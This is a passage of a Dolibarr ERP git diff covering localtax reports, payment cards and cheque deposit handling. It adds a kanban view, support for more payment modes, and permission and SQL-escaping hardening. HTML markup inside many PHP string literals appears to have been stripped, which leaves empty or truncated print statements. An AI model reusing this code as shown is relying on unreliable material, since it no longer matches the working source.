      '; // IRPF that the customer has retained me if ($calc == 0 || $calc == 2) { diff --git a/htdocs/compta/localtax/index.php b/htdocs/compta/localtax/index.php index ad0b86a161d..f25b476fa94 100644 --- a/htdocs/compta/localtax/index.php +++ b/htdocs/compta/localtax/index.php @@ -18,11 +18,13 @@ * along with this program. If not, see . */ + /** * \file htdocs/compta/localtax/index.php * \ingroup tax - * \brief Index page of IRPF reports + * \brief Index page of localtax reports */ + require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/report.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/tax.lib.php'; @@ -257,6 +259,9 @@ llxHeader('', $name); //$textnextyear=" ".img_next().""; //print load_fiche_titre($langs->transcountry($LT,$mysoc->country_code),"$textprevyear ".$langs->trans("Year")." $year_start $textnextyear", 'bill'); +$periodlink = ''; +$exportlink = ''; + report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, array(), $calcmode); //report_header($name,'',$textprevyear.$langs->trans("Year")." ".$year_start.$textnextyear,'',$description,$builddate,$exportlink,array(),$calcmode); @@ -269,7 +274,7 @@ print load_fiche_titre($langs->transcountry($LTSummary, $mysoc->country_code), ' print '
      '; print ''; -print '"; +print '"; if ($CalcLT == 0) { print ''; print ''; @@ -441,16 +446,6 @@ while ((($y < $yend) || ($y == $yend && $m <= $mend)) && $mcursor < 1000) { // $ $hookmanager->initHooks(array('externalbalance')); $reshook = $hookmanager->executeHooks('addVatLine', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks - if (!is_array($x_coll) && $coll_listbuy == -1) { - $langs->load("errors"); - print ''; - break; - } - if (!is_array($x_paye) && $coll_listbuy == -2) { - print ''; - break; - } - print ''; print ''; diff --git a/htdocs/compta/localtax/list.php b/htdocs/compta/localtax/list.php index ee2e13e1d57..dbd3bdafdbf 100644 --- a/htdocs/compta/localtax/list.php +++ b/htdocs/compta/localtax/list.php @@ -28,13 +28,17 @@ require_once DOL_DOCUMENT_ROOT.'/compta/localtax/class/localtax.class.php'; // Load translation files required by the page $langs->load("compta"); +$limit = GETPOST('limit', 'int'); + // Security check $socid = GETPOST('socid', 'int'); if ($user->socid) { $socid = $user->socid; } + $result = restrictedArea($user, 'tax', '', '', 'charges'); $ltt = GETPOST("localTaxType", 'int'); +$mode = GETPOST('mode', 'alpha'); /* @@ -49,7 +53,14 @@ $url = DOL_URL_ROOT.'/compta/localtax/card.php?action=create&localTaxType='.$ltt if (!empty($socid)) { $url .= '&socid='.$socid; } -$newcardbutton = dolGetButtonTitle($langs->trans('NewLocalTaxPayment', ($ltt + 1)), '', 'fa fa-plus-circle', $url, '', $user->rights->tax->charges->creer); +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?localTaxType='.$ltt.'&mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?localTaxType='.$ltt.'&mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewLocalTaxPayment', ($ltt + 1)), '', 'fa fa-plus-circle', $url, '', $user->rights->tax->charges->creer); print load_fiche_titre($langs->transcountry($ltt == 2 ? "LT2Payments" : "LT1Payments", $mysoc->country_code), $newcardbutton, 'title_accountancy'); @@ -73,23 +84,41 @@ if ($result) { print ''; print ""; print "\n"; - $var = 1; - while ($i < $num) { + + $imaxinloop = ($limit ? min($num, $limit) : $num); + while ($i < $imaxinloop) { $obj = $db->fetch_object($result); - print ''; - + $localtax_static->label = $obj->label; $localtax_static->id = $obj->rowid; $localtax_static->ref = $obj->rowid; - print "\n"; - print "\n"; - print '\n"; - print '\n"; + $localtax_static->datev = $obj->datev; + $localtax_static->datep = $obj->datep; + $localtax_static->amount = $obj->amount; + $total = $total + $obj->amount; - print ''; - print "\n"; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + print ''; + print "\n"; + print "\n"; + print '\n"; + print '\n"; + print ''; + print "\n"; + } $i++; } print ''; diff --git a/htdocs/compta/paiement/card.php b/htdocs/compta/paiement/card.php index 58a27c94974..4fb3cfa41aa 100644 --- a/htdocs/compta/paiement/card.php +++ b/htdocs/compta/paiement/card.php @@ -36,6 +36,9 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/payments.lib.php'; if (isModEnabled("banque")) { require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; } +if (!empty($conf->margin->enabled)) { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formmargin.class.php'; +} // Load translation files required by the page $langs->loadLangs(array('bills', 'banks', 'companies')); @@ -46,6 +49,11 @@ $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); $backtopage = GETPOST('backtopage', 'alpha'); +$socid = GETPOST('socid', 'int'); +if ($socid < 0) { + $socid = 0; +} + $object = new Paiement($db); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('paymentcard', 'globalcard')); @@ -53,7 +61,7 @@ $hookmanager->initHooks(array('paymentcard', 'globalcard')); // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once. -$result = restrictedArea($user, $object->element, $object->id, 'paiement'); +$result = restrictedArea($user, $object->element, $object->id, 'paiement'); // This also test permission on read invoice // Security check if ($user->socid) { @@ -67,12 +75,11 @@ if ($socid && $socid != $object->thirdparty->id) { $error = 0; - /* * Actions */ -if ($action == 'setnote' && $user->rights->facture->paiement) { +if ($action == 'setnote' && $user->hasRight('facture', 'paiement')) { $db->begin(); $result = $object->update_note(GETPOST('note', 'restricthtml')); @@ -85,7 +92,7 @@ if ($action == 'setnote' && $user->rights->facture->paiement) { } } -if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->facture->paiement) { +if ($action == 'confirm_delete' && $confirm == 'yes' && $user->hasRight('facture', 'paiement')) { $db->begin(); $result = $object->delete(); @@ -106,7 +113,7 @@ if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->facture-> } } -if ($action == 'confirm_validate' && $confirm == 'yes' && $user->rights->facture->paiement) { +if ($action == 'confirm_validate' && $confirm == 'yes' && $user->hasRight('facture', 'paiement')) { $db->begin(); if ($object->validate($user) > 0) { @@ -142,13 +149,13 @@ if ($action == 'confirm_validate' && $confirm == 'yes' && $user->rights->facture $invoice = new Facture($db); if ($invoice->fetch($objp->facid) <= 0) { - $errors++; + $error++; setEventMessages($invoice->error, $invoice->errors, 'errors'); break; } if ($invoice->generateDocument($invoice->model_pdf, $outputlangs, $hidedetails, $hidedesc, $hideref) < 0) { - $errors++; + $error++; setEventMessages($invoice->error, $invoice->errors, 'errors'); break; } @@ -159,12 +166,12 @@ if ($action == 'confirm_validate' && $confirm == 'yes' && $user->rights->facture $db->free($resql); } else { - $errors++; + $error++; setEventMessages($db->error, $db->errors, 'errors'); } } - if (! $errors) { + if (! $error) { header('Location: '.$_SERVER['PHP_SELF'].'?id='.$object->id); exit; } @@ -176,7 +183,7 @@ if ($action == 'confirm_validate' && $confirm == 'yes' && $user->rights->facture } } -if ($action == 'setnum_paiement' && GETPOST('num_paiement')) { +if ($action == 'setnum_paiement' && GETPOST('num_paiement') && $user->hasRight('facture', 'paiement')) { $res = $object->update_num(GETPOST('num_paiement')); if ($res === 0) { setEventMessages($langs->trans('PaymentNumberUpdateSucceeded'), null, 'mesgs'); @@ -185,7 +192,7 @@ if ($action == 'setnum_paiement' && GETPOST('num_paiement')) { } } -if ($action == 'setdatep' && GETPOST('datepday')) { +if ($action == 'setdatep' && GETPOST('datepday') && $user->hasRight('facture', 'paiement')) { $datepaye = dol_mktime(GETPOST('datephour', 'int'), GETPOST('datepmin', 'int'), GETPOST('datepsec', 'int'), GETPOST('datepmonth', 'int'), GETPOST('datepday', 'int'), GETPOST('datepyear', 'int')); $res = $object->update_date($datepaye); if ($res === 0) { @@ -194,7 +201,8 @@ if ($action == 'setdatep' && GETPOST('datepday')) { setEventMessages($langs->trans('PaymentDateUpdateFailed'), null, 'errors'); } } -if ($action == 'createbankpayment' && !empty($user->rights->facture->paiement)) { + +if ($action == 'createbankpayment' && $user->hasRight('facture', 'paiement')) { $db->begin(); // Create the record into bank for the amount of payment $object @@ -239,7 +247,7 @@ $thirdpartystatic = new Societe($db); $result = $object->fetch($id, $ref); if ($result <= 0) { - dol_print_error($db, 'Payement '.$id.' not found in database'); + dol_print_error($db, 'Payment '.$id.' not found in database'); exit; } @@ -416,8 +424,6 @@ if ($resql) { $i = 0; $total = 0; - $moreforfilter = ''; - print '
      '; print '
      '; @@ -429,6 +435,10 @@ if ($resql) { if (isModEnabled('multicompany') && !empty($conf->global->MULTICOMPANY_INVOICE_SHARING_ENABLED)) { print '
      '; } + //Add Margin + if (!empty($conf->margin->enabled) && getDolGlobalInt('MARGIN_SHOW_MARGIN_ON_PAYMENT')) { + print ''; + } print ''; print ''; print ''; @@ -444,6 +454,14 @@ if ($resql) { $invoice = new Facture($db); $invoice->fetch($objp->facid); + // Add Margin + if (!empty($conf->margin->enabled) && getDolGlobalInt('MARGIN_SHOW_MARGIN_ON_PAYMENT')) { + $formmargin = new FormMargin($db); + $marginInfo = array(); + $invoice->fetch_lines(); + $marginInfo = $formmargin->getMarginInfosArray($invoice); + } + $paiement = $invoice->getSommePaiement(); $creditnotes = $invoice->getSumCreditNotesUsed(); $deposits = $invoice->getSumDepositsUsed(); @@ -469,6 +487,12 @@ if ($resql) { print $mc->label; print ''; } + + // Add margin + if (!empty($conf->margin->enabled) && getDolGlobalInt('MARGIN_SHOW_MARGIN_ON_PAYMENT')) { + print ''; + } + // Expected to pay print ''; @@ -512,9 +536,9 @@ if ($resql) { print '
      '; if (!empty($conf->global->BILL_ADD_PAYMENT_VALIDATION)) { - if ($user->socid == 0 && $object->statut == 0 && $_GET['action'] == '') { + if ($user->socid == 0 && $object->statut == 0 && $action == '') { if ($user->rights->facture->paiement) { - print ''.$langs->trans('Valid').''; + print ''.$langs->trans('Valid').''; } } } diff --git a/htdocs/compta/paiement/cheque/card.php b/htdocs/compta/paiement/cheque/card.php index f28ebf2ebcf..9135f2d2eb5 100644 --- a/htdocs/compta/paiement/cheque/card.php +++ b/htdocs/compta/paiement/cheque/card.php @@ -42,6 +42,11 @@ $ref = GETPOST('ref', 'alpha'); $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); +$type = GETPOST('type'); +if (empty($type)) { + $type = 'CHQ'; +} + $object = new RemiseCheque($db); $sortfield = GETPOST('sortfield', 'aZ09comma'); @@ -60,6 +65,7 @@ $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $offset = $limit * $page; $upload_dir = $conf->bank->multidir_output[$object->entity ? $object->entity : $conf->entity]."/checkdeposits"; + // filter by dates from / to $search_date_start_day = GETPOST('search_date_start_day', 'int'); $search_date_start_month = GETPOST('search_date_start_month', 'int'); @@ -84,6 +90,10 @@ $usercandelete = $user->rights->banque->cheque; $permissiontodelete = $user->rights->banque->cheque; +// List of payment mode to support +// Example: BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT = 'CHQ','TRA' +$arrayofpaymentmodetomanage = explode(',', getDolGlobalString('BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT', 'CHQ')); + /* * Actions @@ -132,8 +142,11 @@ if ($action == 'setref' && $user->rights->banque->cheque) { } if ($action == 'create' && GETPOST("accountid", "int") > 0 && $user->rights->banque->cheque) { - if (is_array(GETPOST('toRemise'))) { - $result = $object->create($user, GETPOST("accountid", "int"), 0, GETPOST('toRemise')); + if (GETPOSTISARRAY('toRemise')) { + $object->type = $type; + $arrayofid = GETPOST('toRemise', 'array:int'); + + $result = $object->create($user, GETPOST("accountid", "int"), 0, $arrayofid); if ($result > 0) { if ($object->statut == 1) { // If statut is validated, we build doc $object->fetch($object->id); // To force to reload all properties in correct property name @@ -286,7 +299,16 @@ if (GETPOST('removefilter')) { $filteraccountid = 0; } -$title = $langs->trans("Cheques")." - ".$langs->trans("Card"); +if ($action == 'new') { + $title = $langs->trans("NewChequeDeposit"); +} else { + if ($type == 'CHQ') { + $title = $langs->trans("Cheques"); + } else { + $title = ($langs->trans("PaymentType".$type) != "PaymentType".$type ? $langs->trans("PaymentType".$type) : $langs->trans("PaymentMode").' '.$type); + } +} + $helpurl = ""; llxHeader("", $title, $helpurl); @@ -302,7 +324,7 @@ if ($action == 'new') { $hselected = $h; $h++; - print load_fiche_titre($langs->trans("Cheques"), '', 'bank_account'); + print load_fiche_titre($title, '', 'bank_account'); } else { $result = $object->fetch($id, $ref); if ($result < 0) { @@ -357,7 +379,12 @@ if ($action == 'new') { $now = dol_now(); - print ''.$langs->trans("SelectChequeTransactionAndGenerate").'

      '."\n"; + $labeltype = ($langs->trans("PaymentType".$type) != "PaymentType".$type ? $langs->trans("PaymentType".$type) : $type); + if ($type == 'CHQ') { + print ''.$langs->trans("SelectChequeTransactionAndGenerate").'

      '."\n"; + } else { + print ''.$langs->trans("SelectPaymentTransactionAndGenerate", $labeltype).'

      '."\n"; + } print ''; print ''; @@ -366,9 +393,28 @@ if ($action == 'new') { print dol_get_fiche_head(); print '
      '.$langs->trans("Year")." ".$y."'.$langs->trans("Year")."'.$langs->transcountry($LTCustomer, $mysoc->country_code).''.$langs->transcountry($LTSupplier, $mysoc->country_code).'
      '.$langs->trans("ErrorNoAccountancyModuleLoaded").'
      '.$langs->trans("FeatureNotYetAvailable").'
      '.dol_print_date(dol_mktime(0, 0, 0, $m, 1, $y), "%b %Y").''.$langs->trans("DatePayment").'".$langs->trans("PayedByThisPayment")."
      ".$localtax_static->getNomUrl(1)."".dol_trunc($obj->label, 40)."'.dol_print_date($db->jdate($obj->datev), 'day')."'.dol_print_date($db->jdate($obj->datep), 'day')."'.price($obj->amount).'
      '; + print '
      '; + } + // Output Kanban + print $localtax_static->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      ".$localtax_static->getNomUrl(1)."".dol_trunc($obj->label, 40)."'.dol_print_date($db->jdate($obj->datev), 'day')."'.dol_print_date($db->jdate($obj->datep), 'day')."'.price($obj->amount).'
      '.$langs->trans("Total").''.$langs->trans('Entity').''.$langs->trans('Margin').''.$langs->trans('ExpectedToPay').''.$langs->trans('PayedByThisPayment').''.$langs->trans('RemainderToPay').''.price($marginInfo['total_margin']).''.price($objp->total_ttc).'
      '; - //print ''; - // Filter - print ''; + } + // Date + print ''; + print ''; } print "
      '.$langs->trans('Date').''.dol_print_date($now,'day').'
      '.$langs->trans("DateChequeReceived").''; + + if (count($arrayofpaymentmodetomanage) > 1) { + $arrayoflabels = array(); + foreach ($arrayofpaymentmodetomanage as $key => $val) { + $labelval = ($langs->trans("PaymentType".$val) != "PaymentType".$val ? $langs->trans("PaymentType".$val) : $val); + $arrayoflabels[$key] = $labelval; + } + // Type + print '
      '; + print $langs->trans("Type"); + print ''; + print $form->selectarray('type', $arrayoflabels, $type); + print '
      '; + if ($type == 'CHQ') { + print $langs->trans("DateChequeReceived"); + } else { + print $langs->trans("DatePaymentReceived"); + } + print ''; // filter by dates from / to print '
      '; print $form->selectDate($search_date_start, 'search_date_start_', 0, 0, 1, '', 1, 1, 0, '', '', '', '', 1, '', $langs->trans('From')); @@ -385,14 +431,15 @@ if ($action == 'new') { print dol_get_fiche_end(); print '
      '; - print ''; + print ''; if ($search_date_start || $search_date_end || $filteraccountid > 0) { print '   '; - print ''; + print ''; } print '
      '; print ''; print '
      '; + print '
      '; $sql = "SELECT ba.rowid as bid, ba.label,"; $sql .= " b.rowid as transactionid, b.label as transactionlabel, b.datec as datec, b.dateo as date, "; @@ -401,7 +448,7 @@ if ($action == 'new') { $sql .= " FROM ".MAIN_DB_PREFIX."bank as b"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."paiement as p ON p.fk_bank = b.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank_account as ba ON (b.fk_account = ba.rowid)"; - $sql .= " WHERE b.fk_type = 'CHQ'"; + $sql .= " WHERE b.fk_type = '".$db->escape($type)."'"; $sql .= " AND ba.entity IN (".getEntity('bank_account').")"; $sql .= " AND b.fk_bordereau = 0"; $sql .= " AND b.amount > 0"; @@ -436,7 +483,11 @@ if ($action == 'new') { } if ($i == 0) { - print '
      '.$langs->trans("NoWaitingChecks").'

      '; + if ($type == 'CHQ') { + print '
      '.$langs->trans("NoWaitingChecks").'

      '; + } else { + print '
      '.$langs->trans("NoWaitingPaymentForDeposit", $labeltype).'

      '; + } } } @@ -458,9 +509,11 @@ if ($action == 'new') { '; $num = $db->num_rows($resql); + print '
      '; print ''; print ''; + print ''; print ''; $moreforfilter = ''; @@ -468,11 +521,17 @@ if ($action == 'new') { print ''."\n"; print ''; - print ''."\n"; + print ''."\n"; print '\n"; print '\n"; print '\n"; - print '\n"; + print '\n"; print '\n"; print '\n"; print ''; print ''; print '\n"; @@ -524,8 +576,6 @@ if ($action == 'new') { print ''; print ''; print ''; - - $i++; } } print "
      '.$langs->trans("DateChequeReceived").''; + if ($type == 'CHQ') { + print $langs->trans("DateChequeReceived"); + } else { + print $langs->trans("DatePaymentForDepositReceived", $type); + } + print ''.$langs->trans("ChequeNumber")."'.$langs->trans("CheckTransmitter")."'.$langs->trans("Bank")."'.$langs->trans("Amount")."'.$langs->trans("Amount")."'.$langs->trans("Payment")."'.$langs->trans("LineRecord")."'.$langs->trans("Select")."
      "; @@ -484,13 +543,6 @@ if ($action == 'new') { if (count($lines[$bid])) { foreach ($lines[$bid] as $lid => $value) { - //$account_id = $bid; FIXME not used - - // FIXME $accounts[$bid] is a label ! - /*if (! isset($accounts[$bid])) - $accounts[$bid]=0; - $accounts[$bid] += 1;*/ - print '
      '.dol_print_date($value["date"], 'day').''.$value["numero"]."
      "; @@ -549,7 +599,13 @@ if ($action == 'new') { $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = ''; - dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + $morehtmlleft = ''; + $moreghtmlright = ''; + + $labelval = ($langs->trans("PaymentType".$object->type) != "PaymentType".$object->type ? $langs->trans("PaymentType".$object->type) : $object->type); + $morehtmlref = '
      '.$langs->trans("Type").' : '.$labelval.'
      '; + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref, '', 0, $morehtmlleft, '', 0, $moreghtmlright); print '
      '; @@ -640,7 +696,7 @@ if ($action == 'new') { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank as b ON (b.fk_account = ba.rowid)"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."paiement as p ON p.fk_bank = b.rowid"; $sql .= " WHERE ba.entity IN (".getEntity('bank_account').")"; - $sql .= " AND b.fk_type= 'CHQ'"; + $sql .= " AND b.fk_type= '".$db->escape($object->type)."'"; $sql .= " AND b.fk_bordereau = ".((int) $object->id); $sql .= $db->order($sortfield, $sortorder); @@ -714,9 +770,9 @@ if ($action == 'new') { $i++; } } else { - print '
      '; + print ''; print $langs->trans("None"); - print '
      "; diff --git a/htdocs/compta/paiement/cheque/class/remisecheque.class.php b/htdocs/compta/paiement/cheque/class/remisecheque.class.php index 3fb82f05cb9..e84b0004564 100644 --- a/htdocs/compta/paiement/cheque/class/remisecheque.class.php +++ b/htdocs/compta/paiement/cheque/class/remisecheque.class.php @@ -53,6 +53,8 @@ class RemiseCheque extends CommonObject //! Numero d'erreur Plage 1024-1279 public $errno; + public $type = 'CHQ'; // 'CHQ', 'TRA', ... + public $amount; public $date_bordereau; public $account_id; @@ -92,9 +94,9 @@ class RemiseCheque extends CommonObject { global $conf; - $sql = "SELECT bc.rowid, bc.datec, bc.fk_user_author, bc.fk_bank_account, bc.amount, bc.ref, bc.statut, bc.nbcheque, bc.ref_ext"; - $sql .= ", bc.date_bordereau as date_bordereau"; - $sql .= ", ba.label as account_label"; + $sql = "SELECT bc.rowid, bc.datec, bc.fk_user_author, bc.fk_bank_account, bc.amount, bc.ref, bc.statut, bc.nbcheque, bc.ref_ext,"; + $sql .= " bc.date_bordereau as date_bordereau, bc.type,"; + $sql .= " ba.label as account_label"; $sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque as bc"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank_account as ba ON bc.fk_bank_account = ba.rowid"; $sql .= " WHERE bc.entity = ".$conf->entity; @@ -118,6 +120,7 @@ class RemiseCheque extends CommonObject $this->nbcheque = $obj->nbcheque; $this->statut = $obj->statut; $this->ref_ext = $obj->ref_ext; + $this->type = $obj->type; if ($this->statut == 0) { $this->ref = "(PROV".$this->id.")"; @@ -154,6 +157,11 @@ class RemiseCheque extends CommonObject dol_syslog("RemiseCheque::Create start", LOG_DEBUG); + // Clean parameters + if (empty($this->type)) { + $this->type = 'CHQ'; + } + $this->db->begin(); $sql = "INSERT INTO ".MAIN_DB_PREFIX."bordereau_cheque ("; @@ -167,6 +175,7 @@ class RemiseCheque extends CommonObject $sql .= ", entity"; $sql .= ", nbcheque"; $sql .= ", ref_ext"; + $sql .= ", type"; $sql .= ") VALUES ("; $sql .= "'".$this->db->idate($now)."'"; $sql .= ", '".$this->db->idate($now)."'"; @@ -178,6 +187,7 @@ class RemiseCheque extends CommonObject $sql .= ", ".((int) $conf->entity); $sql .= ", 0"; $sql .= ", ''"; + $sql .= ", '".$this->db->escape($this->type)."'"; $sql .= ")"; $resql = $this->db->query($sql); @@ -190,8 +200,8 @@ class RemiseCheque extends CommonObject if ($this->id > 0 && $this->errno == 0) { $sql = "UPDATE ".MAIN_DB_PREFIX."bordereau_cheque"; - $sql .= " SET ref='(PROV".$this->id.")'"; - $sql .= " WHERE rowid=".((int) $this->id).""; + $sql .= " SET ref = '(PROV".$this->id.")'"; + $sql .= " WHERE rowid=".((int) $this->id); $resql = $this->db->query($sql); if (!$resql) { @@ -205,7 +215,7 @@ class RemiseCheque extends CommonObject if ($this->id > 0 && $this->errno == 0) { $sql = "SELECT b.rowid"; $sql .= " FROM ".MAIN_DB_PREFIX."bank as b"; - $sql .= " WHERE b.fk_type = 'CHQ'"; + $sql .= " WHERE b.fk_type = '".$this->db->escape($this->type)."'"; $sql .= " AND b.amount > 0"; $sql .= " AND b.fk_bordereau = 0"; $sql .= " AND b.fk_account = ".((int) $account_id); @@ -261,7 +271,7 @@ class RemiseCheque extends CommonObject $this->errno = $this->db->lasterrno(); } - if (!$this->errno && !empty($conf->global->MAIN_DISABLEDRAFTSTATUS)) { + if (!$this->errno && (getDolGlobalString('MAIN_DISABLEDRAFTSTATUS') || getDolGlobalString('MAIN_DISABLEDRAFTSTATUS_CHEQUE'))) { $res = $this->validate($user); //if ($res < 0) $error++; } @@ -278,9 +288,9 @@ class RemiseCheque extends CommonObject } /** - * Supprime la remise en base + * Delete deposit from database * - * @param User $user Utilisateur qui effectue l'operation + * @param User $user User that delete * @return int */ public function delete($user = '') @@ -464,10 +474,11 @@ class RemiseCheque extends CommonObject /** * Load indicators for dashboard (this->nbtodo and this->nbtodolate) * - * @param User $user Objet user + * @param User $user Objet user + * @param string $type Type of payment mode deposit ('CHQ', 'TRA', ...) * @return WorkboardResponse|int <0 if KO, WorkboardResponse if OK */ - public function load_board($user) + public function load_board($user, $type = 'CHQ') { // phpcs:enable global $conf, $langs; @@ -481,7 +492,7 @@ class RemiseCheque extends CommonObject $sql .= ", ".MAIN_DB_PREFIX."bank_account as ba"; $sql .= " WHERE b.fk_account = ba.rowid"; $sql .= " AND ba.entity IN (".getEntity('bank_account').")"; - $sql .= " AND b.fk_type = 'CHQ'"; + $sql .= " AND b.fk_type = '".$this->db->escape($type)."'"; $sql .= " AND b.fk_bordereau = 0"; $sql .= " AND b.amount > 0"; @@ -518,9 +529,10 @@ class RemiseCheque extends CommonObject /** * Charge indicateurs this->nb de tableau de bord * - * @return int <0 if ko, >0 if ok + * @param string $type Type of payment mode deposit ('CHQ', 'TRA', ...) + * @return int <0 if ko, >0 if ok */ - public function load_state_board() + public function load_state_board($type = 'CHQ') { // phpcs:enable global $user; @@ -534,7 +546,7 @@ class RemiseCheque extends CommonObject $sql .= ", ".MAIN_DB_PREFIX."bank_account as ba"; $sql .= " WHERE b.fk_account = ba.rowid"; $sql .= " AND ba.entity IN (".getEntity('bank_account').")"; - $sql .= " AND b.fk_type = 'CHQ'"; + $sql .= " AND b.fk_type = '".$this->db->escape($type)."'"; $sql .= " AND b.amount > 0"; $resql = $this->db->query($sql); @@ -615,7 +627,7 @@ class RemiseCheque extends CommonObject // We save charset_output to restore it because write_file can change it if needed for // output format that does not support UTF8. - $sav_charseSupprimert_output = $outputlangs->charset_output; + $sav_charset_output = $outputlangs->charset_output; $result = $docmodel->write_file($this, $conf->bank->dir_output.'/checkdeposits', $this->ref, $outputlangs); if ($result > 0) { @@ -664,7 +676,7 @@ class RemiseCheque extends CommonObject $sql .= " SET amount = ".price2num($total); $sql .= ", nbcheque = ".((int) $nb); $sql .= " WHERE rowid = ".((int) $this->id); - $sql .= " AND entity = ".$conf->entity; + $sql .= " AND entity = ".((int) $conf->entity); $resql = $this->db->query($sql); if (!$resql) { @@ -813,7 +825,7 @@ class RemiseCheque extends CommonObject $sql = "SELECT MAX(rowid)"; $sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque"; - $sql .= " WHERE rowid < ".$this->id; + $sql .= " WHERE rowid < ".((int) $this->id); $sql .= " AND entity = ".$conf->entity; $result = $this->db->query($sql); @@ -825,7 +837,7 @@ class RemiseCheque extends CommonObject $sql = "SELECT MIN(rowid)"; $sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque"; - $sql .= " WHERE rowid > ".$this->id; + $sql .= " WHERE rowid > ".((int) $this->id); $sql .= " AND entity = ".$conf->entity; $result = $this->db->query($sql); @@ -1020,4 +1032,47 @@ class RemiseCheque extends CommonObject return dolGetStatus($this->labelStatus[$status], $this->labelStatusShort[$status], '', $statusType, $mode); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; + $return .= ''; + + if (property_exists($this, 'date_bordereau')) { + $return .= '
      '.$langs->trans("DateCreation").' : '.dol_print_date($this->db->jdate($this->date_bordereau), 'day').''; + } + if (property_exists($this, 'nbcheque')) { + $return .= '
      '.$langs->trans("Cheque", '', '', '', '', 5).' : '.$this->nbcheque.''; + } + if (property_exists($this, 'account_id')) { + $return .= ' | '.$this->account_id.''; + } + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + if (property_exists($this, 'amount')) { + $return .= ' |
      '.$langs->trans("Amount").' : '.price($this->amount).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/paiement/cheque/index.php b/htdocs/compta/paiement/cheque/index.php index 38b779de1ad..073fd90944e 100644 --- a/htdocs/compta/paiement/cheque/index.php +++ b/htdocs/compta/paiement/cheque/index.php @@ -32,120 +32,168 @@ require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; // Load translation files required by the page $langs->loadLangs(array('banks', 'categories', 'compta', 'bills')); +$checkdepositstatic = new RemiseCheque($db); +$accountstatic = new Account($db); + // Security check if ($user->socid) { $socid = $user->socid; } $result = restrictedArea($user, 'banque', '', ''); +$usercancreate = $user->hasRight('banque', 'cheque'); -$checkdepositstatic = new RemiseCheque($db); -$accountstatic = new Account($db); +// List of payment mode to support +// Example: BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT = 'CHQ','TRA' +$arrayofpaymentmodetomanage = explode(',', getDolGlobalString('BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT', 'CHQ')); + + +/* + * Actions + */ + +// None /* * View */ -llxHeader('', $langs->trans("ChequesArea")); +if (getDolGlobalString('BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT', 'CHQ') == 'CHQ') { + $title = $langs->trans("ChequesArea"); +} else { + $title = $langs->trans("DocumentsDepositArea"); +} -print load_fiche_titre($langs->trans("ChequesArea"), '', $checkdepositstatic->picto); +llxHeader('', $title); + +$newcardbutton = ''; +if ($usercancreate) { + $newcardbutton .= dolGetButtonTitle($langs->trans('NewDeposit'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/compta/paiement/cheque/card.php?action=new'); +} + +print load_fiche_titre($title, $newcardbutton, $checkdepositstatic->picto); print '
